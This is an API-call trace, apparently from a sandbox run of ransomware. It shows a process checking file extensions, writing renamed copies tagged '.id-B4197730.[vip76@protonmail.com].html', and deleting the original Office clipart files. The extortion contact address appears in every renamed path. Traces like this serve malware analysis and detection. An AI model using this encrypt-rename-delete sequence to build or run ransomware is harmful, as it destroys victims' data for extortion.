	[0184.635] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4cc8, lpOverlapped=0x0) returned 1
	[0184.639] WriteFile (in: hFile=0x5ac, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0184.640] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.641] WriteFile (in: hFile=0x5ac, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.641] SetEndOfFile (hFile=0x5ac) returned 1
	[0184.641] CloseHandle (hObject=0x5ac) returned 1
	[0184.641] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.641] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.646] CloseHandle (hObject=0x5bc) returned 1
	[0184.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1
	[0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0184.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0184.647] lstrlenW (lpString=".doc") returned 4
	[0184.647] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.647] lstrlenW (lpString=".docx") returned 5
	[0184.647] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0184.648] lstrlenW (lpString=".pdf") returned 4
	[0184.648] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.648] lstrlenW (lpString=".xls") returned 4
	[0184.648] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.648] lstrlenW (lpString=".xlsx") returned 5
	[0184.648] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0184.648] lstrlenW (lpString=".ppt") returned 4
	[0184.648] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0184.648] lstrlenW (lpString=".zip") returned 4
	[0184.648] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.648] lstrlenW (lpString=".rar") returned 4
	[0184.648] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.648] lstrlenW (lpString=".bz2") returned 4
	[0184.648] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.648] lstrlenW (lpString=".7z") returned 3
	[0184.648] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.389] lstrlenW (lpString=".dbf") returned 4
	[0185.390] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0185.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.390] lstrlenW (lpString=".1cd") returned 4
	[0185.390] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0185.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.390] lstrlenW (lpString=".jpg") returned 4
	[0185.390] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0185.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.390] lstrlenW (lpString=".doc") returned 4
	[0185.390] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0185.390] lstrlenW (lpString=".docx") returned 5
	[0185.390] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0185.390] lstrlenW (lpString=".pdf") returned 4
	[0185.390] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0185.390] lstrlenW (lpString=".xls") returned 4
	[0185.390] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0185.390] lstrlenW (lpString=".xlsx") returned 5
	[0185.390] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0185.390] lstrlenW (lpString=".ppt") returned 4
	[0185.390] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0185.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.391] lstrlenW (lpString=".zip") returned 4
	[0185.391] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0185.391] lstrlenW (lpString=".rar") returned 4
	[0185.391] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0185.391] lstrlenW (lpString=".bz2") returned 4
	[0185.391] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0185.391] lstrlenW (lpString=".7z") returned 3
	[0185.391] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0185.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.391] lstrlenW (lpString=".dbf") returned 4
	[0185.391] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0185.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.391] lstrlenW (lpString=".1cd") returned 4
	[0185.391] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0185.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0185.391] lstrlenW (lpString=".jpg") returned 4
	[0185.391] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0185.392] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0185.392] lstrlenW (lpString="J0099168.JPG") returned 12
	[0185.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0185.393] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=20179) returned 1
	[0185.393] CloseHandle (hObject=0x588) returned 1
	[0185.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220
	[0185.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0185.394] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.395] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0185.397] GetLastError () returned 0x0
	[0185.397] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4ed3, lpOverlapped=0x0) returned 1
	[0185.400] WriteFile (in: hFile=0x5c0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0185.401] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.402] WriteFile (in: hFile=0x5c0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.402] SetEndOfFile (hFile=0x5c0) returned 1
	[0185.402] CloseHandle (hObject=0x5c0) returned 1
	[0185.402] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.402] SetEndOfFile (hFile=0x588) returned 1
	[0185.406] CloseHandle (hObject=0x588) returned 1
	[0185.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1
	[0185.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.409] lstrlenW (lpString=".doc") returned 4
	[0185.409] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0185.409] lstrlenW (lpString=".docx") returned 5
	[0185.409] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0185.409] lstrlenW (lpString=".pdf") returned 4
	[0185.409] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0185.409] lstrlenW (lpString=".xls") returned 4
	[0185.409] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0185.409] lstrlenW (lpString=".xlsx") returned 5
	[0185.409] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0185.409] lstrlenW (lpString=".ppt") returned 4
	[0185.409] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0185.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.409] lstrlenW (lpString=".zip") returned 4
	[0185.409] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0185.409] lstrlenW (lpString=".rar") returned 4
	[0185.409] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0185.410] lstrlenW (lpString=".bz2") returned 4
	[0185.410] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0185.410] lstrlenW (lpString=".7z") returned 3
	[0185.410] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0185.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.410] lstrlenW (lpString=".dbf") returned 4
	[0185.410] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0185.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.410] lstrlenW (lpString=".1cd") returned 4
	[0185.410] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0185.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.410] lstrlenW (lpString=".jpg") returned 4
	[0185.410] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0185.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.410] lstrlenW (lpString=".doc") returned 4
	[0185.410] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0185.410] lstrlenW (lpString=".docx") returned 5
	[0185.410] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0185.410] lstrlenW (lpString=".pdf") returned 4
	[0185.410] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0185.410] lstrlenW (lpString=".xls") returned 4
	[0185.410] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0185.410] lstrlenW (lpString=".xlsx") returned 5
	[0185.410] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0185.411] lstrlenW (lpString=".ppt") returned 4
	[0185.411] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0185.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.411] lstrlenW (lpString=".zip") returned 4
	[0185.411] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0185.411] lstrlenW (lpString=".rar") returned 4
	[0185.411] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0185.411] lstrlenW (lpString=".bz2") returned 4
	[0185.411] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0185.411] lstrlenW (lpString=".7z") returned 3
	[0185.411] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0185.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.411] lstrlenW (lpString=".dbf") returned 4
	[0185.412] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0185.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.412] lstrlenW (lpString=".1cd") returned 4
	[0185.412] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0185.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0185.412] lstrlenW (lpString=".jpg") returned 4
	[0185.413] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0185.413] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0185.413] lstrlenW (lpString="J0099169.WMF") returned 12
	[0185.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0185.414] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10192) returned 1
	[0185.414] CloseHandle (hObject=0x588) returned 1
	[0185.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220
	[0185.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0185.415] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.415] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0185.417] GetLastError () returned 0x0
	[0185.417] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x27d0, lpOverlapped=0x0) returned 1
	[0185.421] WriteFile (in: hFile=0x5c0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x27e0, lpOverlapped=0x0) returned 1
	[0185.423] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.423] WriteFile (in: hFile=0x5c0, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.423] SetEndOfFile (hFile=0x5c0) returned 1
	[0185.423] CloseHandle (hObject=0x5c0) returned 1
	[0185.423] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.423] SetEndOfFile (hFile=0x588) returned 1
	[0185.995] CloseHandle (hObject=0x588) returned 1
	[0186.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1
	[0186.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.020] lstrlenW (lpString=".doc") returned 4
	[0186.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.020] lstrlenW (lpString=".docx") returned 5
	[0186.020] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0186.020] lstrlenW (lpString=".pdf") returned 4
	[0186.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.020] lstrlenW (lpString=".xls") returned 4
	[0186.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.021] lstrlenW (lpString=".xlsx") returned 5
	[0186.021] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0186.021] lstrlenW (lpString=".ppt") returned 4
	[0186.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.021] lstrlenW (lpString=".zip") returned 4
	[0186.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.021] lstrlenW (lpString=".rar") returned 4
	[0186.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.021] lstrlenW (lpString=".bz2") returned 4
	[0186.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.021] lstrlenW (lpString=".7z") returned 3
	[0186.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.021] lstrlenW (lpString=".dbf") returned 4
	[0186.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.021] lstrlenW (lpString=".1cd") returned 4
	[0186.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.021] lstrlenW (lpString=".jpg") returned 4
	[0186.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.022] lstrlenW (lpString=".doc") returned 4
	[0186.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.022] lstrlenW (lpString=".docx") returned 5
	[0186.022] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0186.022] lstrlenW (lpString=".pdf") returned 4
	[0186.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.022] lstrlenW (lpString=".xls") returned 4
	[0186.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.022] lstrlenW (lpString=".xlsx") returned 5
	[0186.022] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0186.022] lstrlenW (lpString=".ppt") returned 4
	[0186.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.022] lstrlenW (lpString=".zip") returned 4
	[0186.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.022] lstrlenW (lpString=".rar") returned 4
	[0186.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.022] lstrlenW (lpString=".bz2") returned 4
	[0186.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.022] lstrlenW (lpString=".7z") returned 3
	[0186.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.022] lstrlenW (lpString=".dbf") returned 4
	[0186.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.022] lstrlenW (lpString=".1cd") returned 4
	[0186.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0186.023] lstrlenW (lpString=".jpg") returned 4
	[0186.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.023] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.023] lstrlenW (lpString="J0099172.WMF") returned 12
	[0186.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0186.024] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=58258) returned 1
	[0186.024] CloseHandle (hObject=0x5b8) returned 1
	[0186.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220
	[0186.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0186.025] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.025] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0186.026] GetLastError () returned 0x0
